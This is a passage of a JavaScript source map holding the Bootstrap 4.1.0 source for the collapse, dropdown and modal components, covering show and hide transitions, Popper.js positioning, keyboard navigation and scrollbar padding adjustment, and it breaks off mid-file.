dimension[0].toUpperCase() + dimension.slice(1)\n      const scrollSize = `scroll${capitalizedDimension}`\n      const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n      $(this._element)\n        .one(Util.TRANSITION_END, complete)\n        .emulateTransitionEnd(transitionDuration)\n\n      this._element.style[dimension] = `${this._element[scrollSize]}px`\n    }\n\n    hide() {\n      if (this._isTransitioning ||\n        !$(this._element).hasClass(ClassName.SHOW)) {\n        return\n      }\n\n      const startEvent = $.Event(Event.HIDE)\n      $(this._element).trigger(startEvent)\n      if (startEvent.isDefaultPrevented()) {\n        return\n      }\n\n      const dimension = this._getDimension()\n\n      this._element.style[dimension] = `${this._element.getBoundingClientRect()[dimension]}px`\n\n      Util.reflow(this._element)\n\n      $(this._element)\n        .addClass(ClassName.COLLAPSING)\n        .removeClass(ClassName.COLLAPSE)\n        .removeClass(ClassName.SHOW)\n\n      if (this._triggerArray.length > 0) {\n        for (let i = 0; i < this._triggerArray.length; i++) {\n          const trigger = this._triggerArray[i]\n          const selector = Util.getSelectorFromElement(trigger)\n          if (selector !== null) {\n            const $elem = $(selector)\n            if (!$elem.hasClass(ClassName.SHOW)) {\n              $(trigger).addClass(ClassName.COLLAPSED)\n                .attr('aria-expanded', false)\n            }\n          }\n        }\n      }\n\n      this.setTransitioning(true)\n\n      const complete = () => {\n        this.setTransitioning(false)\n        $(this._element)\n          .removeClass(ClassName.COLLAPSING)\n          .addClass(ClassName.COLLAPSE)\n          .trigger(Event.HIDDEN)\n      }\n\n      this._element.style[dimension] = ''\n      const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n      $(this._element)\n        .one(Util.TRANSITION_END, complete)\n        .emulateTransitionEnd(transitionDuration)\n    }\n\n    setTransitioning(isTransitioning) {\n      this._isTransitioning = isTransitioning\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n\n      this._config          = null\n      this._parent          = null\n      this._element         = null\n      this._triggerArray    = null\n      this._isTransitioning = null\n    }\n\n    // Private\n\n    _getConfig(config) {\n      config = {\n        ...Default,\n        ...config\n      }\n      config.toggle = Boolean(config.toggle) // Coerce string values\n      Util.typeCheckConfig(NAME, config, DefaultType)\n      return config\n    }\n\n    _getDimension() {\n      const hasWidth = $(this._element).hasClass(Dimension.WIDTH)\n      return hasWidth ? Dimension.WIDTH : Dimension.HEIGHT\n    }\n\n    _getParent() {\n      let parent = null\n      if (Util.isElement(this._config.parent)) {\n        parent = this._config.parent\n\n        // It's a jQuery object\n        if (typeof this._config.parent.jquery !== 'undefined') {\n          parent = this._config.parent[0]\n        }\n      } else {\n        parent = $(this._config.parent)[0]\n      }\n\n      const selector =\n        `[data-toggle=\"collapse\"][data-parent=\"${this._config.parent}\"]`\n\n      $(parent).find(selector).each((i, element) => {\n        this._addAriaAndCollapsedClass(\n          Collapse._getTargetFromElement(element),\n          [element]\n        )\n      })\n\n      return parent\n    }\n\n    _addAriaAndCollapsedClass(element, triggerArray) {\n      if (element) {\n        const isOpen = $(element).hasClass(ClassName.SHOW)\n\n        if (triggerArray.length > 0) {\n          $(triggerArray)\n            .toggleClass(ClassName.COLLAPSED, !isOpen)\n            .attr('aria-expanded', isOpen)\n        }\n      }\n    }\n\n    // Static\n\n    static _getTargetFromElement(element) {\n      const selector = Util.getSelectorFromElement(element)\n      return selector ? $(selector)[0] : null\n    }\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        const $this   = $(this)\n        let data      = $this.data(DATA_KEY)\n        const _config = {\n          ...Default,\n          ...$this.data(),\n          ...typeof config === 'object' && config\n        }\n\n        if (!data && _config.toggle && /show|hide/.test(config)) {\n          _config.toggle = false\n        }\n\n        if (!data) {\n          data = new Collapse(this, _config)\n          $this.data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n    // preventDefault only for <a> elements (which change the URL) not inside the collapsible element\n    if (event.currentTarget.tagName === 'A') {\n      event.preventDefault()\n    }\n\n    const $trigger = $(this)\n    const selector = Util.getSelectorFromElement(this)\n    $(selector).each(function () {\n      const $target = $(this)\n      const data    = $target.data(DATA_KEY)\n      const config  = data ? 'toggle' : $trigger.data()\n      Collapse._jQueryInterface.call($target, config)\n    })\n  })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Collapse._jQueryInterface\n  $.fn[NAME].Constructor = Collapse\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Collapse._jQueryInterface\n  }\n\n  return Collapse\n})($)\n\nexport default Collapse\n","import $ from 'jquery'\nimport Popper from 'popper.js'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): dropdown.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Dropdown = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                     = 'dropdown'\n  const VERSION                  = '4.1.0'\n  const DATA_KEY                 = 'bs.dropdown'\n  const EVENT_KEY                = `.${DATA_KEY}`\n  const DATA_API_KEY             = '.data-api'\n  const JQUERY_NO_CONFLICT       = $.fn[NAME]\n  const ESCAPE_KEYCODE           = 27 // KeyboardEvent.which value for Escape (Esc) key\n  const SPACE_KEYCODE            = 32 // KeyboardEvent.which value for space key\n  const TAB_KEYCODE              = 9 // KeyboardEvent.which value for tab key\n  const ARROW_UP_KEYCODE         = 38 // KeyboardEvent.which value for up arrow key\n  const ARROW_DOWN_KEYCODE       = 40 // KeyboardEvent.which value for down arrow key\n  const RIGHT_MOUSE_BUTTON_WHICH = 3 // MouseEvent.which value for the right button (assuming a right-handed mouse)\n  const REGEXP_KEYDOWN           = new RegExp(`${ARROW_UP_KEYCODE}|${ARROW_DOWN_KEYCODE}|${ESCAPE_KEYCODE}`)\n\n  const Event = {\n    HIDE             : `hide${EVENT_KEY}`,\n    HIDDEN           : `hidden${EVENT_KEY}`,\n    SHOW             : `show${EVENT_KEY}`,\n    SHOWN            : `shown${EVENT_KEY}`,\n    CLICK            : `click${EVENT_KEY}`,\n    CLICK_DATA_API   : `click${EVENT_KEY}${DATA_API_KEY}`,\n    KEYDOWN_DATA_API : `keydown${EVENT_KEY}${DATA_API_KEY}`,\n    KEYUP_DATA_API   : `keyup${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    DISABLED  : 'disabled',\n    SHOW      : 'show',\n    DROPUP    : 'dropup',\n    DROPRIGHT : 'dropright',\n    DROPLEFT  : 'dropleft',\n    MENURIGHT : 'dropdown-menu-right',\n    MENULEFT  : 'dropdown-menu-left',\n    POSITION_STATIC : 'position-static'\n  }\n\n  const Selector = {\n    DATA_TOGGLE   : '[data-toggle=\"dropdown\"]',\n    FORM_CHILD    : '.dropdown form',\n    MENU          : '.dropdown-menu',\n    NAVBAR_NAV    : '.navbar-nav',\n    VISIBLE_ITEMS : '.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)'\n  }\n\n  const AttachmentMap = {\n    TOP       : 'top-start',\n    TOPEND    : 'top-end',\n    BOTTOM    : 'bottom-start',\n    BOTTOMEND : 'bottom-end',\n    RIGHT     : 'right-start',\n    RIGHTEND  : 'right-end',\n    LEFT      : 'left-start',\n    LEFTEND   : 'left-end'\n  }\n\n  const Default = {\n    offset      : 0,\n    flip        : true,\n    boundary    : 'scrollParent',\n    reference   : 'toggle',\n    display     : 'dynamic'\n  }\n\n  const DefaultType = {\n    offset      : '(number|string|function)',\n    flip        : 'boolean',\n    boundary    : '(string|element)',\n    reference   : '(string|element)',\n    display     : 'string'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Dropdown {\n    constructor(element, config) {\n      this._element  = element\n      this._popper   = null\n      this._config   = this._getConfig(config)\n      this._menu     = this._getMenuElement()\n      this._inNavbar = this._detectNavbar()\n\n      this._addEventListeners()\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    static get DefaultType() {\n      return DefaultType\n    }\n\n    // Public\n\n    toggle() {\n      if (this._element.disabled || $(this._element).hasClass(ClassName.DISABLED)) {\n        return\n      }\n\n      const parent   = Dropdown._getParentFromElement(this._element)\n      const isActive = $(this._menu).hasClass(ClassName.SHOW)\n\n      Dropdown._clearMenus()\n\n      if (isActive) {\n        return\n      }\n\n      const relatedTarget = {\n        relatedTarget: this._element\n      }\n      const showEvent = $.Event(Event.SHOW, relatedTarget)\n\n      $(parent).trigger(showEvent)\n\n      if (showEvent.isDefaultPrevented()) {\n        return\n      }\n\n      // Disable totally Popper.js for Dropdown in Navbar\n      if (!this._inNavbar) {\n        /**\n         * Check for Popper dependency\n         * Popper - https://popper.js.org\n         */\n        if (typeof Popper === 'undefined') {\n          throw new TypeError('Bootstrap dropdown require Popper.js (https://popper.js.org)')\n        }\n\n        let referenceElement = this._element\n\n        if (this._config.reference === 'parent') {\n          referenceElement = parent\n        } else if (Util.isElement(this._config.reference)) {\n          referenceElement = this._config.reference\n\n          // Check if it's jQuery element\n          if (typeof this._config.reference.jquery !== 'undefined') {\n            referenceElement = this._config.reference[0]\n          }\n        }\n\n        // If boundary is not `scrollParent`, then set position to `static`\n        // to allow the menu to \"escape\" the scroll parent's boundaries\n        // https://github.com/twbs/bootstrap/issues/24251\n        if (this._config.boundary !== 'scrollParent') {\n          $(parent).addClass(ClassName.POSITION_STATIC)\n        }\n        this._popper = new Popper(referenceElement, this._menu, this._getPopperConfig())\n      }\n\n      // If this is a touch-enabled device we add extra\n      // empty mouseover listeners to the body's immediate children;\n      // only needed because of broken event delegation on iOS\n      // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n      if ('ontouchstart' in document.documentElement &&\n         $(parent).closest(Selector.NAVBAR_NAV).length === 0) {\n        $(document.body).children().on('mouseover', null, $.noop)\n      }\n\n      this._element.focus()\n      this._element.setAttribute('aria-expanded', true)\n\n      $(this._menu).toggleClass(ClassName.SHOW)\n      $(parent)\n        .toggleClass(ClassName.SHOW)\n        .trigger($.Event(Event.SHOWN, relatedTarget))\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n      $(this._element).off(EVENT_KEY)\n      this._element = null\n      this._menu = null\n      if (this._popper !== null) {\n        this._popper.destroy()\n        this._popper = null\n      }\n    }\n\n    update() {\n      this._inNavbar = this._detectNavbar()\n      if (this._popper !== null) {\n        this._popper.scheduleUpdate()\n      }\n    }\n\n    // Private\n\n    _addEventListeners() {\n      $(this._element).on(Event.CLICK, (event) => {\n        event.preventDefault()\n        event.stopPropagation()\n        this.toggle()\n      })\n    }\n\n    _getConfig(config) {\n      config = {\n        ...this.constructor.Default,\n        ...$(this._element).data(),\n        ...config\n      }\n\n      Util.typeCheckConfig(\n        NAME,\n        config,\n        this.constructor.DefaultType\n      )\n\n      return config\n    }\n\n    _getMenuElement() {\n      if (!this._menu) {\n        const parent = Dropdown._getParentFromElement(this._element)\n        this._menu = $(parent).find(Selector.MENU)[0]\n      }\n      return this._menu\n    }\n\n    _getPlacement() {\n      const $parentDropdown = $(this._element).parent()\n      let placement = AttachmentMap.BOTTOM\n\n      // Handle dropup\n      if ($parentDropdown.hasClass(ClassName.DROPUP)) {\n        placement = AttachmentMap.TOP\n        if ($(this._menu).hasClass(ClassName.MENURIGHT)) {\n          placement = AttachmentMap.TOPEND\n        }\n      } else if ($parentDropdown.hasClass(ClassName.DROPRIGHT)) {\n        placement = AttachmentMap.RIGHT\n      } else if ($parentDropdown.hasClass(ClassName.DROPLEFT)) {\n        placement = AttachmentMap.LEFT\n      } else if ($(this._menu).hasClass(ClassName.MENURIGHT)) {\n        placement = AttachmentMap.BOTTOMEND\n      }\n      return placement\n    }\n\n    _detectNavbar() {\n      return $(this._element).closest('.navbar').length > 0\n    }\n\n    _getPopperConfig() {\n      const offsetConf = {}\n      if (typeof this._config.offset === 'function') {\n        offsetConf.fn = (data) => {\n          data.offsets = {\n            ...data.offsets,\n            ...this._config.offset(data.offsets) || {}\n          }\n          return data\n        }\n      } else {\n        offsetConf.offset = this._config.offset\n      }\n      const popperConfig = {\n        placement: this._getPlacement(),\n        modifiers: {\n          offset: offsetConf,\n          flip: {\n            enabled: this._config.flip\n          },\n          preventOverflow: {\n            boundariesElement: this._config.boundary\n          }\n        }\n      }\n\n      // Disable Popper.js if we have a static display\n      if (this._config.display === 'static') {\n        popperConfig.modifiers.applyStyle = {\n          enabled: false\n        }\n      }\n      return popperConfig\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        const _config = typeof config === 'object' ? config : null\n\n        if (!data) {\n          data = new Dropdown(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n\n    static _clearMenus(event) {\n      if (event && (event.which === RIGHT_MOUSE_BUTTON_WHICH ||\n        event.type === 'keyup' && event.which !== TAB_KEYCODE)) {\n        return\n      }\n\n      const toggles = $.makeArray($(Selector.DATA_TOGGLE))\n      for (let i = 0; i < toggles.length; i++) {\n        const parent = Dropdown._getParentFromElement(toggles[i])\n        const context = $(toggles[i]).data(DATA_KEY)\n        const relatedTarget = {\n          relatedTarget: toggles[i]\n        }\n\n        if (!context) {\n          continue\n        }\n\n        const dropdownMenu = context._menu\n        if (!$(parent).hasClass(ClassName.SHOW)) {\n          continue\n        }\n\n        if (event && (event.type === 'click' &&\n            /input|textarea/i.test(event.target.tagName) || event.type === 'keyup' && event.which === TAB_KEYCODE) &&\n            $.contains(parent, event.target)) {\n          continue\n        }\n\n        const hideEvent = $.Event(Event.HIDE, relatedTarget)\n        $(parent).trigger(hideEvent)\n        if (hideEvent.isDefaultPrevented()) {\n          continue\n        }\n\n        // If this is a touch-enabled device we remove the extra\n        // empty mouseover listeners we added for iOS support\n        if ('ontouchstart' in document.documentElement) {\n          $(document.body).children().off('mouseover', null, $.noop)\n        }\n\n        toggles[i].setAttribute('aria-expanded', 'false')\n\n        $(dropdownMenu).removeClass(ClassName.SHOW)\n        $(parent)\n          .removeClass(ClassName.SHOW)\n          .trigger($.Event(Event.HIDDEN, relatedTarget))\n      }\n    }\n\n    static _getParentFromElement(element) {\n      let parent\n      const selector = Util.getSelectorFromElement(element)\n\n      if (selector) {\n        parent = $(selector)[0]\n      }\n\n      return parent || element.parentNode\n    }\n\n    // eslint-disable-next-line complexity\n    static _dataApiKeydownHandler(event) {\n      // If not input/textarea:\n      //  - And not a key in REGEXP_KEYDOWN => not a dropdown command\n      // If input/textarea:\n      //  - If space key => not a dropdown command\n      //  - If key is other than escape\n      //    - If key is not up or down => not a dropdown command\n      //    - If trigger inside the menu => not a dropdown command\n      if (/input|textarea/i.test(event.target.tagName)\n        ? event.which === SPACE_KEYCODE || event.which !== ESCAPE_KEYCODE &&\n        (event.which !== ARROW_DOWN_KEYCODE && event.which !== ARROW_UP_KEYCODE ||\n          $(event.target).closest(Selector.MENU).length) : !REGEXP_KEYDOWN.test(event.which)) {\n        return\n      }\n\n      event.preventDefault()\n      event.stopPropagation()\n\n      if (this.disabled || $(this).hasClass(ClassName.DISABLED)) {\n        return\n      }\n\n      const parent   = Dropdown._getParentFromElement(this)\n      const isActive = $(parent).hasClass(ClassName.SHOW)\n\n      if (!isActive && (event.which !== ESCAPE_KEYCODE || event.which !== SPACE_KEYCODE) ||\n           isActive && (event.which === ESCAPE_KEYCODE || event.which === SPACE_KEYCODE)) {\n        if (event.which === ESCAPE_KEYCODE) {\n          const toggle = $(parent).find(Selector.DATA_TOGGLE)[0]\n          $(toggle).trigger('focus')\n        }\n\n        $(this).trigger('click')\n        return\n      }\n\n      const items = $(parent).find(Selector.VISIBLE_ITEMS).get()\n\n      if (items.length === 0) {\n        return\n      }\n\n      let index = items.indexOf(event.target)\n\n      if (event.which === ARROW_UP_KEYCODE && index > 0) { // Up\n        index--\n      }\n\n      if (event.which === ARROW_DOWN_KEYCODE && index < items.length - 1) { // Down\n        index++\n      }\n\n      if (index < 0) {\n        index = 0\n      }\n\n      items[index].focus()\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document)\n    .on(Event.KEYDOWN_DATA_API, Selector.DATA_TOGGLE, Dropdown._dataApiKeydownHandler)\n    .on(Event.KEYDOWN_DATA_API, Selector.MENU, Dropdown._dataApiKeydownHandler)\n    .on(`${Event.CLICK_DATA_API} ${Event.KEYUP_DATA_API}`, Dropdown._clearMenus)\n    .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n      event.preventDefault()\n      event.stopPropagation()\n      Dropdown._jQueryInterface.call($(this), 'toggle')\n    })\n    .on(Event.CLICK_DATA_API, Selector.FORM_CHILD, (e) => {\n      e.stopPropagation()\n    })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Dropdown._jQueryInterface\n  $.fn[NAME].Constructor = Dropdown\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Dropdown._jQueryInterface\n  }\n\n  return Dropdown\n})($, Popper)\n\nexport default Dropdown\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): modal.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Modal = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME               = 'modal'\n  const VERSION            = '4.1.0'\n  const DATA_KEY           = 'bs.modal'\n  const EVENT_KEY          = `.${DATA_KEY}`\n  const DATA_API_KEY       = '.data-api'\n  const JQUERY_NO_CONFLICT = $.fn[NAME]\n  const ESCAPE_KEYCODE     = 27 // KeyboardEvent.which value for Escape (Esc) key\n\n  const Default = {\n    backdrop : true,\n    keyboard : true,\n    focus    : true,\n    show     : true\n  }\n\n  const DefaultType = {\n    backdrop : '(boolean|string)',\n    keyboard : 'boolean',\n    focus    : 'boolean',\n    show     : 'boolean'\n  }\n\n  const Event = {\n    HIDE              : `hide${EVENT_KEY}`,\n    HIDDEN            : `hidden${EVENT_KEY}`,\n    SHOW              : `show${EVENT_KEY}`,\n    SHOWN             : `shown${EVENT_KEY}`,\n    FOCUSIN           : `focusin${EVENT_KEY}`,\n    RESIZE            : `resize${EVENT_KEY}`,\n    CLICK_DISMISS     : `click.dismiss${EVENT_KEY}`,\n    KEYDOWN_DISMISS   : `keydown.dismiss${EVENT_KEY}`,\n    MOUSEUP_DISMISS   : `mouseup.dismiss${EVENT_KEY}`,\n    MOUSEDOWN_DISMISS : `mousedown.dismiss${EVENT_KEY}`,\n    CLICK_DATA_API    : `click${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    SCROLLBAR_MEASURER : 'modal-scrollbar-measure',\n    BACKDROP           : 'modal-backdrop',\n    OPEN               : 'modal-open',\n    FADE               : 'fade',\n    SHOW               : 'show'\n  }\n\n  const Selector = {\n    DIALOG             : '.modal-dialog',\n    DATA_TOGGLE        : '[data-toggle=\"modal\"]',\n    DATA_DISMISS       : '[data-dismiss=\"modal\"]',\n    FIXED_CONTENT      : '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top',\n    STICKY_CONTENT     : '.sticky-top',\n    NAVBAR_TOGGLER     : '.navbar-toggler'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Modal {\n    constructor(element, config) {\n      this._config              = this._getConfig(config)\n      this._element             = element\n      this._dialog              = $(element).find(Selector.DIALOG)[0]\n      this._backdrop            = null\n      this._isShown             = false\n      this._isBodyOverflowing   = false\n      this._ignoreBackdropClick = false\n      this._scrollbarWidth      = 0\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    // Public\n\n    toggle(relatedTarget) {\n      return this._isShown ? this.hide() : this.show(relatedTarget)\n    }\n\n    show(relatedTarget) {\n      if (this._isTransitioning || this._isShown) {\n        return\n      }\n\n      if ($(this._element).hasClass(ClassName.FADE)) {\n        this._isTransitioning = true\n      }\n\n      const showEvent = $.Event(Event.SHOW, {\n        relatedTarget\n      })\n\n      $(this._element).trigger(showEvent)\n\n      if (this._isShown || showEvent.isDefaultPrevented()) {\n        return\n      }\n\n      this._isShown = true\n\n      this._checkScrollbar()\n      this._setScrollbar()\n\n      this._adjustDialog()\n\n      $(document.body).addClass(ClassName.OPEN)\n\n      this._setEscapeEvent()\n      this._setResizeEvent()\n\n      $(this._element).on(\n        Event.CLICK_DISMISS,\n        Selector.DATA_DISMISS,\n        (event) => this.hide(event)\n      )\n\n      $(this._dialog).on(Event.MOUSEDOWN_DISMISS, () => {\n        $(this._element).one(Event.MOUSEUP_DISMISS, (event) => {\n          if ($(event.target).is(this._element)) {\n            this._ignoreBackdropClick = true\n          }\n        })\n      })\n\n      this._showBackdrop(() => this._showElement(relatedTarget))\n    }\n\n    hide(event) {\n      if (event) {\n        event.preventDefault()\n      }\n\n      if (this._isTransitioning || !this._isShown) {\n        return\n      }\n\n      const hideEvent = $.Event(Event.HIDE)\n\n      $(this._element).trigger(hideEvent)\n\n      if (!this._isShown || hideEvent.isDefaultPrevented()) {\n        return\n      }\n\n      this._isShown = false\n      const transition = $(this._element).hasClass(ClassName.FADE)\n\n      if (transition) {\n        this._isTransitioning = true\n      }\n\n      this._setEscapeEvent()\n      this._setResizeEvent()\n\n      $(document).off(Event.FOCUSIN)\n\n      $(this._element).removeClass(ClassName.SHOW)\n\n      $(this._element).off(Event.CLICK_DISMISS)\n      $(this._dialog).off(Event.MOUSEDOWN_DISMISS)\n\n\n      if (transition) {\n        const transitionDuration  = Util.getTransitionDurationFromElement(this._element)\n\n        $(this._element)\n          .one(Util.TRANSITION_END, (event) => this._hideModal(event))\n          .emulateTransitionEnd(transitionDuration)\n      } else {\n        this._hideModal()\n      }\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n\n      $(window, document, this._element, this._backdrop).off(EVENT_KEY)\n\n      this._config              = null\n      this._element             = null\n      this._dialog              = null\n      this._backdrop            = null\n      this._isShown             = null\n      this._isBodyOverflowing   = null\n      this._ignoreBackdropClick = null\n      this._scrollbarWidth      = null\n    }\n\n    handleUpdate() {\n      this._adjustDialog()\n    }\n\n    // Private\n\n    _getConfig(config) {\n      config = {\n        ...Default,\n        ...config\n      }\n      Util.typeCheckConfig(NAME, config, DefaultType)\n      return config\n    }\n\n    _showElement(relatedTarget) {\n      const transition = $(this._element).hasClass(ClassName.FADE)\n\n      if (!this._element.parentNode ||\n         this._element.parentNode.nodeType !== Node.ELEMENT_NODE) {\n        // Don't move modal's DOM position\n        document.body.appendChild(this._element)\n      }\n\n      this._element.style.display = 'block'\n      this._element.removeAttribute('aria-hidden')\n      this._element.scrollTop = 0\n\n      if (transition) {\n        Util.reflow(this._element)\n      }\n\n      $(this._element).addClass(ClassName.SHOW)\n\n      if (this._config.focus) {\n        this._enforceFocus()\n      }\n\n      const shownEvent = $.Event(Event.SHOWN, {\n        relatedTarget\n      })\n\n      const transitionComplete = () => {\n        if (this._config.focus) {\n          this._element.focus()\n        }\n        this._isTransitioning = false\n        $(this._element).trigger(shownEvent)\n      }\n\n      if (transition) {\n        const transitionDuration  = Util.getTransitionDurationFromElement(this._element)\n\n        $(this._dialog)\n          .one(Util.TRANSITION_END, transitionComplete)\n          .emulateTransitionEnd(transitionDuration)\n      } else {\n        transitionComplete()\n      }\n    }\n\n    _enforceFocus() {\n      $(document)\n        .off(Event.FOCUSIN) // Guard against infinite focus loop\n        .on(Event.FOCUSIN, (event) => {\n          if (document !== event.target &&\n              this._element !== event.target &&\n              $(this._element).has(event.target).length === 0) {\n            this._element.focus()\n          }\n        })\n    }\n\n    _setEscapeEvent() {\n      if (this._isShown && this._config.keyboard) {\n        $(this._element).on(Event.KEYDOWN_DISMISS, (event) => {\n          if (event.which === ESCAPE_KEYCODE) {\n            event.preventDefault()\n            this.hide()\n          }\n        })\n      } else if (!this._isShown) {\n        $(this._element).off(Event.KEYDOWN_DISMISS)\n      }\n    }\n\n    _setResizeEvent() {\n      if (this._isShown) {\n        $(window).on(Event.RESIZE, (event) => this.handleUpdate(event))\n      } else {\n        $(window).off(Event.RESIZE)\n      }\n    }\n\n    _hideModal() {\n      this._element.style.display = 'none'\n      this._element.setAttribute('aria-hidden', true)\n      this._isTransitioning = false\n      this._showBackdrop(() => {\n        $(document.body).removeClass(ClassName.OPEN)\n        this._resetAdjustments()\n        this._resetScrollbar()\n        $(this._element).trigger(Event.HIDDEN)\n      })\n    }\n\n    _removeBackdrop() {\n      if (this._backdrop) {\n        $(this._backdrop).remove()\n        this._backdrop = null\n      }\n    }\n\n    _showBackdrop(callback) {\n      const animate = $(this._element).hasClass(ClassName.FADE)\n        ? ClassName.FADE : ''\n\n      if (this._isShown && this._config.backdrop) {\n        this._backdrop = document.createElement('div')\n        this._backdrop.className = ClassName.BACKDROP\n\n        if (animate) {\n          $(this._backdrop).addClass(animate)\n        }\n\n        $(this._backdrop).appendTo(document.body)\n\n        $(this._element).on(Event.CLICK_DISMISS, (event) => {\n          if (this._ignoreBackdropClick) {\n            this._ignoreBackdropClick = false\n            return\n          }\n          if (event.target !== event.currentTarget) {\n            return\n          }\n          if (this._config.backdrop === 'static') {\n            this._element.focus()\n          } else {\n            this.hide()\n          }\n        })\n\n        if (animate) {\n          Util.reflow(this._backdrop)\n        }\n\n        $(this._backdrop).addClass(ClassName.SHOW)\n\n        if (!callback) {\n          return\n        }\n\n        if (!animate) {\n          callback()\n          return\n        }\n\n        const backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop)\n\n        $(this._backdrop)\n          .one(Util.TRANSITION_END, callback)\n          .emulateTransitionEnd(backdropTransitionDuration)\n      } else if (!this._isShown && this._backdrop) {\n        $(this._backdrop).removeClass(ClassName.SHOW)\n\n        const callbackRemove = () => {\n          this._removeBackdrop()\n          if (callback) {\n            callback()\n          }\n        }\n\n        if ($(this._element).hasClass(ClassName.FADE)) {\n          const backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop)\n\n          $(this._backdrop)\n            .one(Util.TRANSITION_END, callbackRemove)\n            .emulateTransitionEnd(backdropTransitionDuration)\n        } else {\n          callbackRemove()\n        }\n      } else if (callback) {\n        callback()\n      }\n    }\n\n    // ----------------------------------------------------------------------\n    // the following methods are used to handle overflowing modals\n    // todo (fat): these should probably be refactored out of modal.js\n    // ----------------------------------------------------------------------\n\n    _adjustDialog() {\n      const isModalOverflowing =\n        this._element.scrollHeight > document.documentElement.clientHeight\n\n      if (!this._isBodyOverflowing && isModalOverflowing) {\n        this._element.style.paddingLeft = `${this._scrollbarWidth}px`\n      }\n\n      if (this._isBodyOverflowing && !isModalOverflowing) {\n        this._element.style.paddingRight = `${this._scrollbarWidth}px`\n      }\n    }\n\n    _resetAdjustments() {\n      this._element.style.paddingLeft = ''\n      this._element.style.paddingRight = ''\n    }\n\n    _checkScrollbar() {\n      const rect = document.body.getBoundingClientRect()\n      this._isBodyOverflowing = rect.left + rect.right < window.innerWidth\n      this._scrollbarWidth = this._getScrollbarWidth()\n    }\n\n    _setScrollbar() {\n      if (this._isBodyOverflowing) {\n        // Note: DOMNode.style.paddingRight returns the actual value or '' if not set\n        //   while $(DOMNode).css('padding-right') returns the calculated value or 0 if not set\n\n        // Adjust fixed content padding\n        $(Selector.FIXED_CONTENT).each((index, element) => {\n          const actualPadding = $(element)[0].style.paddingRight\n          const calculatedPadding = $(element).css('padding-right')\n          $(element).data('padding-right', actualPadding).css('padding-right', `${parseFloat(calculatedPadding) + this._scrollbarWidth}px`)\n        })\n\n        // Adjust sticky content margin\n        $(Selector.STICKY_CONTENT).each((index, element) => {\n          const actualMargin = $(element)[0].style.marginRight\n          const calculatedMargin = $(element).css('margin-right')\n          $(element).data('margin-right', actualMargin).css('margin-right', `${parseFloat(calculatedMargin) - this._scrollbarWidth}px`)\n        })\n\n        // Adjust navbar-toggler margin\n        $(Selector.NAVBAR_TOGGLER).each((index, element) => {\n          const actualMargin = $(element)[0].style.marginRight\n          const calculatedMargin = $(element).css('margin-right')\n          $(element).data('margin-right', actualMargin).css('margin-right', `${parseFloat(calculatedMargin) + this._scrollbarWidth}px`)\n        })\n\n        // Adjust body padding\n        const actualPadding = document.body.style.paddingRight\n        const calculatedPadding = $(document.body).css('padding-right')\n        $(document.body).data('padding-right', actualPadding).css('padding-right', `${parseFloat(calculatedPadding) + this._scrollbarWidth}px`)\n      }\n    }\n\n    _resetScrollbar() {\n      // Restore fixed content padding\n      $(Selector.FIXED_CONTENT).each((index, element) => {\n        const padding = $(element).data('padding-right')\n        if (typeof padding !== 'undefined') {\n          $(element).css('padding-right', padding).removeData('padding-right')\n        }\n      })\n\n      // Restore sticky content and navbar-toggler margin\n      $(`${Selector.STICKY_CONTENT}, 